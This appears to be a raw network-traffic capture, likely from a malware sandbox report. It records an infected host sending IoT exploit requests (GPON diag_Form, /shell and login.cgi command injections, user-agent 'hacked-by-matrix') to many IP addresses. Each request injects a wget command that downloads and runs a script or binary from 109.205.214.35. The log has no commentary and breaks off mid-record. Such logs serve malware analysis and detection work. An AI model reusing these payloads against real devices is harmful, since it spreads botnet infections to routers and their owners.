Mar 21, 2024 05:22:40.239296913 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:42.861357927 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:47.724256992 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:57.457321882 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:18.444236040 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.13	36210	156.224.236.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.037559032 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.13	54892	154.91.191.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.350033045 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:38.661319017 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.13	55068	34.223.231.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.373354912 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:38.560012102 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.13	42922	212.226.15.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.587861061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.13	49734	42.153.44.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.587893963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.13	33718	212.76.52.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.587918043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.13	60486	42.38.127.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.587918043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.13	46652	5.169.32.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.587949991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.13	51946	109.105.0.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.587976933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.13	47402	109.46.49.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.587982893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.13	49534	42.192.98.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.588042021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.13	53328	42.173.89.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.588052988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.13	39646	212.4.227.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:39.068885088 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:39.985579014 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:40.162159920 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:40 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.13	42240	103.101.179.201	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:39.189532995 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.13	58722	109.111.78.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598314047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.13	33932	109.117.149.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598324060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.13	57574	118.183.116.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598351955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.13	52226	212.196.110.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598359108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.13	55814	109.255.44.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598371029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.13	55158	212.207.156.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598385096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.13	51248	212.180.116.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598416090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.13	49112	5.132.242.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598418951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.13	52796	212.185.100.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598447084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 